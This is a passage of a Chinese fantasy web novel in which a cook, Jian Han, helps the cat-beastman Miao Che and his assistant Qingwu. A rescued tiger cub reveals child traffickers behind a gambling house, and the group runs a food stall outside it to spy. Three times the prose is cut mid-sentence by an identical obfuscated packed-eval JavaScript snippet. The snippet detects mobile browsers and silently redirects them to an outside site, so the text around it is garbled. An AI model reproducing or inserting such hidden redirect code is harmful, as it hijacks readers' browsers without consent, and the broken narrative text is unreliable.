猫儿们闻声，立刻收敛了凶相，如同得了军令的士兵，悄无声息地退回了各自的藏匿处，仿佛从未出现过。 简菡抬头，只见廊柱旁，一人斜倚着，不是那苗澈又是谁？ 他仍是一副慵懒模样，墨发半束，几缕垂落颈侧，衬得肌肤愈发冷白。一身荼白宽袍松松垮垮，襟口微敞，露出线条漂亮的锁骨，袍袖及衣摆处却以银线精绣着繁复的云纹，日光下流转着暗彩。 最惹眼的还是他发间那对灵敏的银色猫耳，以及身后那条慵懒轻晃的蓬松长尾。 偷闯被抓个正着，简菡脸颊顿时烧了起来。 苗澈却也没多言，只淡淡瞥她一眼，丢下三个字：“跟我来吧。” 说罢转身便走，仿佛早料到她会来，且知她所为何事。 简菡连忙整理一下衣裙，快步跟上。 穿过回廊，步入馆内主厅，简菡顿时被眼前景象吸引了目光。 这衔蝉坊内里竟是别有洞天！ 宽敞的厅堂内，错落放置着矮榻、软垫、抓柱、悬梯，十余只容貌昳丽、姿态各异的猫兽人或在其中漫步，或慵懒小憩。他们皆穿着大袖宽袍品质精良，剪裁得体，却无不恰到好处地露出毛耳或长尾，更添风情。 见有生人进来，不少猫儿投来目光，那眼神或好奇，或妩媚，或冷淡，配上精致五官和优雅身段，竟真真有几分勾魂摄魄的意味。 他开得是猫咖啊！ 简菡一路走着，心里鄙夷：啧，果然不像什么正经猫！开这馆子莫不是做那等生意的？ 可鄙夷归鄙夷，她的双手却诚实地紧紧握成拳头，死死压在身侧。生怕一个没忍住，就朝着路过手边那油光水滑的橘色大尾巴或那颤巍巍的玳瑁色耳朵伸过去。 苗澈引着她来到一扇紧闭的房门前，吱呀一声推开，示意她进去。 屋内药香弥漫。 临窗的软榻上，那只虎崽子正安静躺着，身上的血污已被清洗干净，换上了一身洁净的细棉中衣，只是小脸依旧苍白，呼吸微弱，只有小小的肚皮微弱起伏着。 榻边，坐着一位身着大袖袍的男子。 那袍服是极雅致的青瓷色，交领右衽，袖宽几欲垂地，衣料轻薄，随着他的动作如水般流动。袍服之上，以深浅不一的墨绿丝线绣着丛丛翠竹，枝节分明，清逸脱俗。 这不会是这店里唯一一个好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588523|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿衣服的吧！ 简菡眨眨眼，心里嘀咕着。 他面容清冷，气质沉静，发间一双雪白的猫耳微微抖动，正全神贯注地为榻上幼崽施针，动作行云流水，带着一种独特的韵律感。 “你认识？” 苗澈不知何时凑到了简菡耳边，温热呼吸猝不及防烫了她一下。 “啊！”简菡吓得猛地朝旁边蹦开一步，连连摇头摆手：“不、不认识！” “啧，”苗澈抱臂，银尾闲闲一扫，语气带着惯有的戏谑，“还以为是你家亲戚呢，这么上心。” 听出他话里的调侃，简菡抿紧唇，不接这茬。 她看了眼榻上孩子似乎情况稳定，便打算告辞。刚抬脚，却被苗澈用折扇拦下。 “煮锅小米南瓜粥。” 他吩咐得理所当然。 “嗯？” 简菡满头雾水。 苗澈用扇柄朝榻的方向虚点了点：“这小玩意儿等会儿醒了，总得先垫垫肚子再灌药吧。” “兽人不是不吃饭吗？” 简菡脱口而出。 她清晰记得自己刚穿来那天，汪屿亲口说的！ 那顿剩的食材，可是让她这实打实的人类连吃了好几日呢！ 苗澈的眼神立刻染上毫不掩饰的鄙夷，仿佛在看一个傻子：“它就是个没断奶的小崽子，离辟谷还早着呢！” 原来如此。 简菡点点头，下意识就转身想去找厨房。脚刚迈出去，猛地回过味来，倏地顿住。 她扭过头，伸手指着榻上幼崽，问苗澈：“你认识？” “不认识。”苗澈答得干脆利落。 简菡顿时气结，送他一个大白眼，将他刚才的话原样奉还：“还以为是你家亲戚呢，这么关心！” 说完，她一甩袖子，转身就走。 哼！她又不是他家厨娘，凭什么听他使唤！ 然而，半刻钟后。 简菡蹲在衔蝉坊宽敞明亮的厨房里，对着一个小泥炉，认命地扇着扇子。 锅里，小米已然淘净下水，正等着沸腾。 她一边扇火，一边在心里痛骂自己没出息！ 就不该被那毛茸茸的小家伙吸引，动什么劳什子的恻隐之心！ 骂归骂，手下动作却没停。 小米煮开，转为文火慢熬。她取来半个金黄的老南瓜，去皮去瓤，切成均匀的小块。待米粒熬至开花，汤汁渐稠，便将南瓜块倒入锅中一同熬煮。 小火耐心煨着，米香与南瓜的甜香逐渐交融，弥漫在整个厨房。粥色变得金黄诱人，米粥稠糯，南瓜软烂，几乎融化在粥糜之中。 简菡用长勺轻轻搅动，防止粘底，看着那咕嘟咕嘟冒着热泡的金粥，心情奇异地平静了几分。 “粥好了吗？”一个清冷的声音自身后响起。 是那位穿着竹纹大袖袍的猫郎。 他不知何时走了进来，无声无息。 “好了好了。” 简菡应道，用抹布垫着，掀开锅盖，蒸汽混着浓郁甜香扑面而来。 她仔细搅了搅，见火候已到，便取过一只青瓷小碗，盛了满满一碗，金黄粘稠，热气腾腾，放在托盘上，递给那竹衣猫郎。 “小家伙醒了？”她顺口问了一句。 “没。”竹衣猫郎摇了摇头，接过托盘，“这是掌柜的要喝的。” 等等！ 简菡猛地伸手，一把抓住他宽大的衣袖，眼睛瞪得溜圆：“是那个不好好穿衣服的猫郎？苗澈？” 竹衣猫郎被这形容问得一怔，略加思索，似乎对上了号，微微颔首：“正是。” 简菡的手死死抓着他的衣袖和托盘边缘，指节都泛了白，满脸都是“不想让那家伙占便宜”的不忿：“他怎么一把岁数了还跟个重伤的小孩子抢吃的啊？！” 竹衣猫郎闻言，略显不解地歪了歪头，一双青碧色的猫眼里透着纯粹的疑惑：“这本就是掌柜的平日爱吃的甜粥，与那榻上的小虎崽有何干系？” 咔嚓！ 简菡只觉得一道惊天响雷正正劈在了自己的天灵盖上。 这粥……是苗澈那家伙爱吃的？ 她这是……又又又被他给耍了？！ 8. 卖盒饭 苗澈执起青瓷勺，舀了半勺小米南瓜粥，送入唇间。 粥熬得不错。 米油尽出，粥汁浓稠滑糯，金黄的南瓜几乎化在了粥里，只留下满腔温柔的甜香。小米粒颗颗饱满，被炖开了花，与南瓜的绵密交融在一起，入口即化，只余下一股温润的谷物的清甜和南瓜特有的馥郁在舌尖缠绵。 热腾腾的蒸汽熏着他纤长的银色睫毛，让他那双总是带着几分戏谑的桃花眼也显得柔和了许多。 他吃得慢条斯理，姿态优雅。 青梧站在一旁，忽然瞧见小家伙金黑环纹相间的虎耳几不可察地动了一下。 他凑近了些，发现小家伙虽然依旧紧闭双眼，但呼吸的频率与刚才明显不同了。 青梧清冷的脸上闪过一丝了然。 他默不作声地走到一旁的药箱，取出一根足有手指粗细、长而柔软的银针。 这是他用来给畏寒的猫兽人灸疗时裹艾条用的。 他走到榻边，拈着那根软针，故意用冰冷的语气低声道：“此处穴位甚佳，一针下去，或可固本培元。” 话音未落，那软针作势便要朝小家伙的脖颈处落下。 榻上的“重伤员”顿时一个激灵，猛地睁开了眼睛！ 澄澈的金色瞳孔里满是惊恐，挣扎着就往床榻里侧缩去，动作间竟透出几分与他虚弱模样不符的敏捷。 “啧，装睡？” 苗澈恰好喝完了最后一口粥，慢悠悠地放下碗勺，用绢帕擦了擦嘴角，这才踱步过来。 他居高临下地看着那缩成一团、满眼戒备的小虎崽，声音听不出情绪：“说说吧，怎么弄成这副样子？” 小家伙紧紧抿着嘴，一双金瞳警惕地在苗澈和青梧之间来回扫视，显然不愿开口。 直到他的目光落在苗澈腰间悬挂的一枚玉佩上。 跟用来自证身份的玉坠不同，那玉质地温润，雕刻的却并非寻常花草祥兽，而是一只盘踞打盹的猫儿，猫眼处嵌着两点极细微的幽绿宝石，在光线下流转着奇异的光彩。 小家伙的眼睛猛地瞪大了，迟疑地、带着一丝难以置信的期盼，小声嚅嗫：“灵狸纹？你……你是灵狸族的族长？” 苗澈眉梢微挑，似乎有些意外这小家伙竟能认出这几乎绝迹的族徽。 他点了点头，算是承认了：“现在能说了？” 小家伙紧绷的身体肉眼可见地松弛了下来，仿佛找到了主心骨。 他点了点头，但并没立刻开始讲述，反而小心翼翼地、带着极大的渴望看向桌边那只空碗，咽了口口水，肚子十分还应景地发出一连串响亮的“咕噜咕噜”声。 “能……能给我碗粥吗？”他声音细若蚊蚋，似乎怕被拒绝，又赶紧补充，“我……我闻见味了。” 苗澈看着他这副眼巴巴的可怜样，不由得失笑，对青梧道：“去，给他端一碗来。” 一锅小米南瓜粥，几乎大半都进了那小虎崽的肚子。他吃得狼吞虎咽，仿佛饿了几百年，最后还意犹未尽地舔着碗沿，眼巴巴地瞅着那口锅。 “还想吃？”苗澈的声音淡淡响起。 小家伙猛点头。 下一瞬，他的手腕被苗澈轻轻按住。 “再吃，肚子要炸了。” 苗澈瞟了一眼他圆鼓鼓的小肚子，语气里带着不容置疑的威严。 小家伙讪讪地放下了碗，摸了摸自己确实滚圆的肚皮，不好意思地低了低头。 “我叫虎凌岳……”他小声说道，开始讲述自己的经历。 他是白虎部极为罕见的纯血金虎。他并非遭遇仇杀，只是在部族附近的草甸上扑蝴蝶玩，却忽然被人从身后用一块气味刺鼻的帕子捂住了口鼻。醒来时，便已身处一个昏暗闷热的地笼之中。身边还关着不少其他种族的幼崽，个个病恹恹的浑身无力。 他人小，却也机灵。他假装虚弱不堪地隐忍了好几天，才弄明白这伙人是拍花子，要将他们这些幼崽运到远处卖掉。 起初，他以为顶多是卖给没有子嗣的人家，虽不情愿，但至少性命无虞。可直到与他交好的一只小狼狗被拖出去，他偷偷跟去，才骇然发现，那伙人竟是将那小狗崽卖给了一户富户人家，当场宰杀烹食！ 他拼死扑上去想救人，却哪里敌得过对方众多护卫，反而暴露了自己。 他只能凭着白虎与生俱来的悍勇和速度，拼着一口气杀出重围，一路奔逃，直至力竭，才扑进了汪仙楼，最终被苗澈所救。 “他们……他们吃了阿苍！” 虎凌岳说到最后，金色的眼睛里蓄满了泪水，混合着巨大的恐惧和愤怒，小拳头攥得紧紧的。 “咔嚓”一声，青梧手中正在整理的药杵竟被他生生捏出一道裂痕！ 他向来清冷的面容因极致的愤怒而涨红，豁然起身：“畜生！掌柜的，我这就去端了那窝狼心狗肺的东西！” “站住！”苗澈手中的折扇“唰”地合上，声音冷沉，一把按住了冲动的青梧。 “你知道该去哪里找那群畜生吗？” 他脸色铁青，捏着扇骨的指尖因用力而泛白。 “况且，他逃出来了，对方此刻必定严防死守。你此刻贸然闯去，非但救不了人，只会打草惊蛇，逼得他们立刻将剩下的稚子转移甚至……灭口。” 苗澈的声音压着怒火，却保持着绝对的冷静，“此事，必须从长计议。” 他深吸一口气，看向虎凌岳：“你还记得逃出来的地方吗？任何特征都可。” 虎凌岳努力回忆着，他当时躲在运货的车板下，偷偷瞧见过：“我记得……那家后门对着的巷子口，有个很大的招牌，写着……写着‘千金一掷’！” “千金坊？”苗澈眸光一凛，那可是镇上最大的赌坊！ 千金坊背后竟藏着这等腌臜勾当，倒真是让人意想不到。 他手中的折扇“唰”地一下展开，唇角勾起一抹算计的弧度，偏头对青梧道：“去，把对门那个小厨娘请过来。” ========= “卖吃食？” 简菡被叫到衔蝉苑，狐疑地扫视着屋里的两大一小。 苗澈笑得像只偷腥的猫，青梧一脸紧绷，床上那小虎崽则眼巴巴地看着她。这组合怎么看怎么不对劲。 “是！卖吃食！”苗澈折扇轻摇，“本钱我出，食材调料一概备齐，卖什么吃食你自己定，你只需负责做和卖。利钱，我六你四。做不做？” 简菡皱着眉头，上下打量着苗澈。 怪了！她怎么总觉得前面有个坑在等她似的！ 但……四成利！ 而且本钱还不用她出！ “做！”她一拍桌子，腾地站起来，斩钉截铁，“有钱不赚王八蛋！”顿了顿，她又赶紧补充，“不过只卖中午和晚上啊，早上别算我！” 毕竟……起床是人生大敌。 苗澈似乎早料到她会答应，从善如流地点头：“可。青梧会给你打下手。”他意味深长地瞥了青梧一眼。 青梧？ 简菡看向那位一直冷着脸的竹衣猫郎，原来他叫青梧。 说干就干。 简菡轻车熟路地进了衔蝉苑的厨房。 她在屋里转了一圈，准备卖盒饭！ 毕竟这东西薄利多销不说，若是卖不出去，回来分一分，大家吃了，也不算亏很多。 既是盒饭，讲究的就是个快手下饭，味道浓香。 她略一思忖，定下了两荤两素：清炒土豆丝、香辣肉丝、肉末粉条、宫保鸡丁。 她麻利地将土豆去皮切丝，刀工快得只见残影，切出的土豆丝细如银针。随后，把它们浸入清水漂去淀粉。 铁锅烧热，下猪油，扔进几粒花椒炸香，再倒入沥干水的土豆丝，大火猛颠快炒，醋沿锅边淋入，“刺啦”一声激出酸香，最后撒上盐和青红椒丝，翻炒均匀便迅速出锅。酸辣脆爽、根根分明的清炒土豆丝便成了。 瘦肉切丝，用酱料稍加抓腌。起油锅，先下干辣椒和花椒炝出糊辣香气，再倒入肉丝滑炒变色，加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588524|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入葱姜丝和提前煸炒过的香芹段，泼入调好的酱汁，大火翻炒收汁，红亮油润、麻辣鲜香的香辣肉丝简直勾得人食指大动。 肥瘦相间的猪肉剁成末，红薯粉条用温水泡软。油锅下肉末煸炒出油，加入葱姜末和一大勺豆瓣酱炒出红油，倒入适量清水和粉条，小火慢煨让粉条吸饱汤汁，最后撒上葱花。肉末粉条油润酱浓，粉条滑糯弹牙，是十足的下饭神器。 鸡胸肉切丁腌制滑油，炒香干辣椒和花椒，倒入葱段、炸香的花生米和鸡丁，烹入由糖、醋、酱油、料酒调成的宫保汁，快速翻炒均匀，让每块鸡丁都裹上红亮诱人的酱汁。咸鲜酸甜，略带麻辣，口感层次极为丰富。 炉灶上，一大桶晶莹剔透的白米饭和一大筐白胖暄软的馒头也准备就绪。 不过……急需一辆车。 简菡忽然想到了聂松。 聂松的坚果没了简菡的加工，生意本就清淡，一听有此好事，还能顺带卖他的炒货，立刻开心地拉着他的小毛驴答应了。 简菡赶紧按住兴奋不已的聂松，又去找苗澈申请，还特意强调，会从自己的四成利里分一成给他。 反正也不损害他的利，苗澈自然应允。 于是，一辆小驴车晃晃悠悠地出发了。 简菡和青梧坐在车后，身后是几个冒着热气的厚实棉褥包裹的大木桶，两人被烘得不得不挺直了身子。 千金坊正门斜对面，聂松熟练地将木桶一一卸下，支起桌椅。 事出匆忙，简菡来不及定制现代那种分格的餐盘，只得用青梧新买来的统一青瓷大海碗凑合。 摊子刚一支起来，四道硬菜的浓烈复合香味便霸道地飘散开来，辛辣、咸香、酸爽、油润……种种勾人魂魄的香气交织在一起，立刻引得路上行人和附近店铺的伙计纷纷驻足张望。 简菡戴上遮面纱巾，扬声吆喝起来：“卖饭咯！两荤两素，管饱管够！米饭馒头都有嘞！” 青梧负责往瓷碗里飞快地装饭、发馒头，简菡则动作麻利地打菜，聂松一边收拾着后面几张简易桌椅上的碗筷，一边见缝插针地推销他的炒瓜子花生。 许是这条街住的多是灵力低微的兽人或普通人，价格实惠、香味暴烈的盒饭很快吸引了大量食客。四张简易小桌很快就坐满了人，甚至还有人端着碗蹲在路边就开始大口扒饭。 青梧一边手脚不停地忙着，一边眼睛死死盯着“千金坊”的大门，嘴角都快被自己咬破了。 他心里急得火烧火燎：这都出来多少波吃饭的人了？怎么赌坊里正经目标一个都没出来？再这么下去，菜都要卖光了！ 可惜，天不遂人愿。 还没等赌坊里的人出来，简菡准备的所有饭菜竟已销售一空。 这时，千金坊里慢悠悠晃出来几个穿着体面、像是护院打手模样的彪形大汉，循着残留的香味凑过来，吸着鼻子问：“喂，卖什么的？这么香？” 青梧看着空空如也的木桶，眼前一黑，腿一软，差点直接瘫坐在地上。 完了！全完了！计划彻底失败了！ 简菡却不知道青梧内心的惊涛骇浪，她只看到又来了潜在客户，立刻笑脸相迎：“几位爷，实在对不住！今天第一天出摊，准备不足，全都卖光了。您几位要是赏脸，明天中午，我还来这儿！” 那为首的打手伸脖子看了看空桶，从鼻子里挤出一声嗤笑，言语极尽鄙夷：“切！我当什么好东西，原来是这种下三滥的街边吃食！狗都不吃！” 说完，几个人哄笑起来，勾肩搭背地转身走进了简菡摊子后面那家装修得金碧辉煌的大酒楼——金银楼。 雕梁画栋，气派非凡，确对得起“金银”二字。 简菡对这番嘲笑根本没往心里去，她就是个摆摊的，跟人家大酒楼比什么？能赚钱就行！ 她乐呵呵地开始清点今天的收入。 一旁，青梧的脸色彻底白了，失魂落魄地站在原地心里只有一个念头：完了……掌柜的这招根本行不通啊！那些孩子……可怎么办啊？！ 9. 摆摊第二天 青梧一路都蔫头耷脑的，猫尾也无力地垂在身后，简菡还以为他是累着了，毕竟忙活了一中午。 当聂松驾着小驴车，把空木桶和碗筷卸到衔蝉苑的后院时，简菡还特意扬声叮嘱了一句：“青梧，这些家什今晚可得洗干净咯，明儿还得用呢！” 谁知青梧像是被踩了尾巴，猛地扭头，狠狠瞪了她一眼，鼻子里发出一声极轻的“哼”，随即气冲冲地一甩袖子，扭头就往屋里走，留下简菡和聂松在原地面面相觑。 “谁惹到他了？”聂松挠了挠头，一脸憨厚的不解。 “谁知道呢，许是累着了脾气大吧。” 简菡耸耸肩，心里却琢磨着，猫咪的脾气果然阴晴不定。 她不再多想，喜滋滋地攥紧了手里沉甸甸的钱袋子，拉着聂松就去找苗澈分账。 还没走完二楼的楼梯，就隐约听见苗澈屋里传来压低的争吵声，似乎是青梧激动地在说什么“……岂能坐视……”，另一个冷静的声音（无疑是苗澈的）打断了他“……打草惊蛇……”。 可等简菡和聂松走近，房门吱呀一声从里面打开时，屋内的景象却是一片风平浪静。 苗澈斜倚在窗边的软榻上，慢条斯理地摇着折扇。青梧则远远地坐在另一角的凳子上，垂着眼眸擦拭着一个药杵，只是那泛红的眼角和紧抿的嘴唇，泄露了一丝不平静。 “苗掌柜！”简菡笑容满面地走进去，将钱袋子“哗啦”一声倒在屋子中央的梨花木圆桌上，铜钱和零星碎银堆成了一个小堆，“今天售卖赚了这些！” 她开始认真地算起账来，先把苗澈垫付的本钱单独分出来，推到他面前。剩下的利润，她根据约定好的利数，仔仔细细地分成了三堆。 “你的，”她将最大的一堆推向苗澈，“聂松的，”推过去较小但也不少的一堆，“我的！”最后她把属于自己那堆宝贝似的揽过来，一个个捡起放进钱袋里，嘴角都快咧到耳后根了。 她看了眼旁边同样乐得合不拢嘴的聂松，再一抬头，却发现苗澈的脸上毫无笑意，眼神甚至有些沉郁地盯着那堆钱，仿佛那不是钱，而是一堆麻烦。 “我……算错了？”简菡心里咯噔一下，脑子飞快地回忆着刚才的计算过程。 “没。”苗澈“唰”地打开折扇，遮住了下半张脸，只露出一双看不出情绪的桃花眼，“没算错，明日继续。” “哦。”简菡点点头，心里却更加嘀咕了。 她悄悄瞥了一眼角落里的青梧，那猫郎还是气呼呼的样子，耳朵都背成了飞机耳，眼睛似乎比刚才更红了些。 临出门，她想了想，还是贴心回头对苗澈补充了一句：“那个……青梧可能真是累到了，脾气不太好。但后院那堆锅碗木桶，今晚真得洗干净哦，不然明天油都凝固了就洗不出来了。” 苗澈抬眸看了她一眼，点了点头，简菡这才放心地拉着聂松出了门。 一出门，简菡立刻把刚才那点怪异抛诸脑后，抱着钱袋子几乎要跳起来。 可算是有钱赚了！ ========= 吸取了前一天供不应求的经验，第二天简菡特意多备了足足一倍的菜量。光是盛菜的厚木桶就准备了七个！ 她今日准备的菜色也更丰富了：麻辣鸡块、木须肉、鱼香肉丝、干煸豆角、烧茄子、白灼菜心、醋溜豆芽。 外加两大桶晶莹剔透的白米饭和两大筐白胖暄软的馒头。 尽管聂松今天特意少带了些坚果，驴车依旧被挤得满满当当。 简菡和青梧彻底没了坐的地方，只能跟着车走。 因为准备的菜多，出摊也比昨日晚了些。 等简菡和青梧赶到千金坊斜对面的老位置时，聂松正忙着卸货，摊子前却已经聚集了一长串昨天的熟客，个个翘首以盼。 “对不住！对不住！让大家久等了！”简菡赶紧小跑几步，和青梧一起上前帮忙。 七个木桶的盖子逐一打开，刹那间，麻辣的辛香、鱼香的复合酸甜辣、干煸的焦香、烧茄子的浓郁酱香、白灼菜心的清新、醋溜豆芽的酸爽…… 各种霸道而和谐的香气如同爆炸般扩散开来，交织成一股无可抗拒的诱惑力，狠狠冲击着每个人的嗅觉。 排队的人群不约而同地发出了“咕咚”咽口水的声音，眼睛都直勾勾地盯着那些色彩缤纷、油光闪亮的菜肴。 “排好队！一个个来！都有份！” 简菡戴好面纱，深吸一口气，按部就班地开始干活。 才打了不过两三个人的菜，对面千金坊的大门里，又晃出来那几个人。 为首的，正是昨天那个嗤笑她“狗都不吃”的冷笑男。 他们一凑过来，原本排队的主顾们像是见了瘟神，纷纷下意识地后退，让出一小片空地，生怕冲撞了这些煞星。 冷笑男踱步到摊前，鼻子用力吸了吸，脸上闪过一丝不易察觉的惊异，但很快又被鄙夷覆盖。 简菡挤出职业化的讨好笑容：“各位爷，可要来一份尝尝？” 那人正要习惯性地开口嘲讽，可那钻鼻的香味让他到了嘴边的话硬生生转了个弯，变成了挑剔的质疑：“你这碗干净吗？看着还没我们千金坊里狗食盆贵气呢！” 简菡心里瞬间万马奔腾，几乎要把对方祖宗十八代亲切问候一遍，脸上却还得挂着谦卑的笑：“干净的！干净的！爷您放心，都用开水烫过！” 丫的！老娘这碗洗得比你那油光锃亮的脸干净多了！ “嗤！”那人又从鼻子里挤出一声笑，仿佛除了这个发音就不会别的。 “小五，去，回坊里取几个像样的碗盘来！免得吃了不干净的东西，污了爷的肚子！” 他偏头对身后一个留着络腮胡的矮个汉子说道。 “我跟这位爷一起去吧！”一直沉默不语的青梧忽然主动站了出来，声音平静无波，“也免得爷的人来回奔波，耽误爷用饭。” 简菡被他这突如其来的举动惊了一跳，下意识想阻止。 但那冷笑男似乎觉得这提议不错，省了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588525|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己人的脚力，便点了点头：“算你识相。” “青梧……”简菡眼里满是担忧，低唤了一声。 青梧回头看了她一眼，目光异常坚定，微不可察地摇了摇头。 简菡只好把话咽回去，叮嘱道：“那……那你小心些，别碰了人家的东西，咱可赔不起。” 青梧低低应了一声，便半低着头，跟着那叫小五的汉子朝着千金坊走去。 他看似恭顺，眼角的余光却如同最精准的尺，将走过的路线、看到的门户、隐约听到的动静，一一刻印在脑子里。 可一路行至厨房，始终都未发现什么明显的异样。 不一会儿，青梧和小五就回来了。 小五手里捧着几个叠起来的碗碟。青梧则垂着手，面色如常地走回简菡身边，对她几不可察地微微颔首。 等那冷笑男让人把碗碟亮出来，简菡一看，心里顿时“嚯”了一声，不得不服气。 人家的碗碟，确实精致。 上好的白瓷，釉面光滑细腻，洁白如玉，碗壁薄而均匀，上面用青料勾勒着简单的缠枝花纹，笔触流畅，透着一种低调的奢华。相比之下，自己摊上这些厚墩墩、灰扑扑的青瓷海碗，确实像是从乞丐窝里掏出来的。 每样菜都打了一份，装在那精致的白瓷碟里，竟也显得格外诱人起来。 简菡一边心疼地舀菜，一边心里暗骂这帮人穷讲究。 没想到，那冷笑男使了个眼色，旁边一个小弟竟真的摸出银钱，扔在了摊上。 不是吃白食的啊？ 简菡愣了一下，目送着那几人端着碗碟，大摇大摆地走回千金坊，一时还有些没反应过来。 “老板娘！打菜啊！发什么呆呢！”面前的客人不满地抱怨道。 “诶！来了来了！抱歉啊！”简菡这才如梦初醒，赶忙拎起大勺，重新投入到火热的售卖中。 麻辣鸡块入口，先是花椒和辣椒的复合麻辣味猛烈冲击着味蕾，让人头皮微微发麻，紧接着是鸡肉本身的鲜香和酱料的咸鲜回味，越嚼越香，忍不住想立刻扒一大口米饭。 木须肉口感丰富，肉片滑嫩，鸡蛋香软，木耳脆爽，黄瓜清新，各种味道融合得恰到好处，咸鲜适口。 鱼香肉丝那独特的酸甜辣味极其开胃，肉丝嫩，配菜脆，浓郁的芡汁牢牢挂在食材上，每一口都让人欲罢不能。 干煸豆角干香十足，豆角煸得恰到好处，表面微焦，内里却还保留一丝韧性，混合着肉末和芽菜的咸香，以及花椒辣椒的麻辣，是绝佳的下酒下饭菜。 烧茄子油润软糯，几乎入口即化，浓郁的酱香带着微甜的尾调，拌饭吃是一绝。 白灼菜心清脆爽口，恰好缓解了其他菜肴的油腻。 醋溜豆芽酸爽脆生，咔嚓作响，极大地激发了食欲。 客人们吃得满嘴流油，赞不绝口。 简菡一边忙活，一边悄悄记下大家的反馈，心里盘算着晚上和明天该准备些什么新菜色，才能一直吊住这些食客的胃口。 10. 松子百合酥 连着在千金坊外摆了几天摊，简菡那干瘪已久的钱袋子终于重新鼓了起来，掂量起来颇有分量。 还别说，这卖盒饭，虽然同样累得她胳膊酸软，但进账可比卖炒货要快得多，也丰厚得多！ 原本她还心心念念想去定制一批带分格的漂亮餐盘，可一想到本钱都是苗澈出的，有钱的客人如千金坊那帮家伙都自带碗筷，她便也悻悻然打消了这个念头。 能省则省，利润才是实在的！ 倒是盛菜的厚木桶又添了好几个，每天搬上搬下，简菡觉得自己纤细的胳膊都快练出结实的二头肌了。 这日如同往常一样，简菡带着聂松和青梧，准时出现在老地方。 人还没到呢，队伍已经排了老长，熟客们翘首以盼，见她来了纷纷热情地打招呼。 “来了来了！老板娘今天又做什么好菜了？” “快些快些，肚里的馋虫都快闹翻天了！” 简菡脸上笑开了花，一边应和着，一边手脚麻利地开始卸货、支摊子。 青梧依旧沉默地帮忙，只是那双青碧色的猫眼，总会不着痕迹地扫向千金坊那扇紧闭的大门。 东西刚摊开，千金坊那几位“老主顾”便掐着点晃悠过来了。 简菡如今已是轻车熟路，脸上堆起职业假笑，手脚利落地给他们每样菜都盛了满满一大勺，用的自然是他们自带的、精致无比的白瓷碟。 送走这几位爷，简菡松了口气，转身继续热火朝天地给排队的街坊们打菜。 青梧的目光却死死黏着那些人的背影，直到他们消失在门内，他才垂下眼皮，掩去眸中一闪而过的锐光，又恢复成那个温和无害、默默打着下手的猫郎。 摊前正是最忙碌的时候，人群却忽然骚动起来，还自动让出了一条通道。 简菡诧异地抬起头，心里咯噔一下。 只见千金坊那群人去而复返，而且个个面色不善，气势汹汹地直冲她的摊子而来！ 怎么了这是？菜不够吃？还是嫌味道不好了？ 简菡一头雾水。 为首的冷笑男几步跨到摊前，二话不说，猛地将手中一个吃了一半的白瓷饭碗狠狠拍在简菡面前的桌子上，震得碗里的米饭都跳了出来！ “娘的！你这黑心婆娘！”冷笑男唾沫横飞，指着碗里怒吼，“这饭里怎么他娘的有苍蝇！你想恶心死谁？！” 嗯？苍蝇？！ 简菡瞪大了眼睛，难以置信地看向那只精致的白瓷碗。 雪白米饭中间，还真他爹的赫然躺着一只黑黢黢死苍蝇！ 格外刺眼！ 怎么会！她脑子里嗡的一声，瞬间一片空白。 蒸饭的每一道工序她都亲自盯着，淘米、上锅、看火……怎么可能会有苍蝇？！ 她猛地抬起头，看向那群明显来找茬的人，一个念头电光石火般闪过。 该不会是这些人自己放了苍蝇，故意栽赃吧！ 千金坊那几人见她愣住，骂得更加不堪入耳，言语粗鄙下流，引得周围排队的主顾们也纷纷侧目，交头接耳，脸上露出怀疑和嫌恶的神色。 简菡心里又气又急，明白绝不能再沉默下去，否则这脏水就彻底洗不干净了！ 她深吸一口气，刚要开口据理力争，冷笑男却像是耐心耗尽，脸上横肉一抖，竟暴躁地直接伸手，五指成爪，就朝着简菡的衣领抓过来！ “你敢动她试试！” 两声低喝几乎同时响起！ 一直沉默的青梧身形如鬼魅般一闪，已严严实实挡在简菡身前，眼神冰冷，指尖已有寒光微露。另一侧，聂松也扔下手中的勺子，庞大的身躯如同小山般挪了过来，炸毛般的耳朵因愤怒而抖动，低吼道：“有话好好说！动什么手！” 双方剑拔弩张，气氛瞬间紧绷到极点！ 就在这时，一阵整齐而沉重的脚步声传来，伴随着金属甲片碰撞的清脆声响。 “穆大人来了！” “是穆阳大人！” 人群如同潮水般再次分开，自动让出一条更宽的通道。 穆阳大人？ 简菡惊魂未定地从青梧和聂松身后探出头。 只见一队身着黑色劲装、腰佩横刀的官差疾步而来，为首一人格外显眼。 